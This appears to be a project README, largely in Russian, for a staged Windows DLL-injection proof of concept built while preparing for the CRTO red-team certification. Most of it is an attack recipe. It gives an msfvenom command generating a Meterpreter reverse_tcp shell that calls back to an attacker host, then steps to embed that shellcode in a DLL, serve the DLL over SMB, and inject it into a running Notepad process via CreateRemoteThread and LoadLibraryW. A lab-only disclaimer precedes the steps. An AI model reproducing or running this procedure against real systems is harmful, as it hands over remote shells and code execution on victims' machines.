
Многоэтапная DLL-инъекция (доказательство концепции), реализованная на C с использованием Win32 API — разработанное в изолированной лабораторной среде для изучения сертификации red team (CRTO).
Экспериментальное внедрение DLL по стадиям, написанное на C с использованием Win32 API — разработано в изолированной лабораторной среде для изучения сертификации красной команды (CRTO).
⚠️ Отказ от ответственности: Этот проект был разработан строго в изолированной лабораторной среде в образовательных целях в рамках исследования безопасности и подготовки к сертификации (CRTO). Он не предназначен для использования против любых систем без явного письменного разрешения. Несанкционированное использование незаконно и неэтично.
Экспериментальная реализация внедрения DLL по стадиям в Windows, созданная в рамках изучения сертификации красной команды. Этот проект демонстрирует, как стагер может удалённо загрузить вредоносную DLL в целевой процесс с помощью нативных Win32 API. Лучше всего работает в среде AD, где разрешён трафик SMB во внутренней сети; не рекомендуется использовать через интернет.
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcessVirtualAllocLoadLibraryW из Kernel32CreateRemoteThread, который вызывает LoadLibraryW, загружая DLL с удалённого ресурса SMBmaindll.dll)DllMain автоматически срабатывает при DLL_PROCESS_ATTACHVirtualAllocCreateThreadphc.exe → Открывает целевой процесс → Выделяет память в целевом процессе → Загружает maindll.dll с SMB-ресурса через LoadLibraryW → Срабатывает DllMain → Shellcode выполняется внутри целевого процесса
CreateRemoteThread + LoadLibraryWDllMainПротестировано на Windows 10 в изолированной лабораторной среде. C2-слушатель размещён на Kali Linux.